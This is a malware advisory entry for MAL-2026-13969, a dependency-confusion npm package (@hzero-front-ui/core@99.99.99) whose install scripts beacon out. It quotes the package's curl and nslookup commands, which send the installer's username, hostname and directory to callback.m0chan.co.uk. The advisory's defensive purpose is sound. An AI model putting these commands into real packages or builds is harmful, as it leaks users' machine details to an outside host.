## What is MAL-2026-13969?

MAL-2026-13969 is a malicious package in @hzero-front-ui/core, published on 13 Aug 2026. 

### Official description

Package @hzero-front-ui/core@99.99.99 is a hollow shell (index.js is only `module.exports = {};`) whose sole functional content is preinstall/install lifecycle scripts. On `npm install`, those scripts collect the installer's username (`whoami`), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (`curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64`) and a DNS lookup (`nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk`). The 99.99.99 version and hollow contents under an org-shaped `@hzero-front-ui` scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.

## What should I do about MAL-2026-13969?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
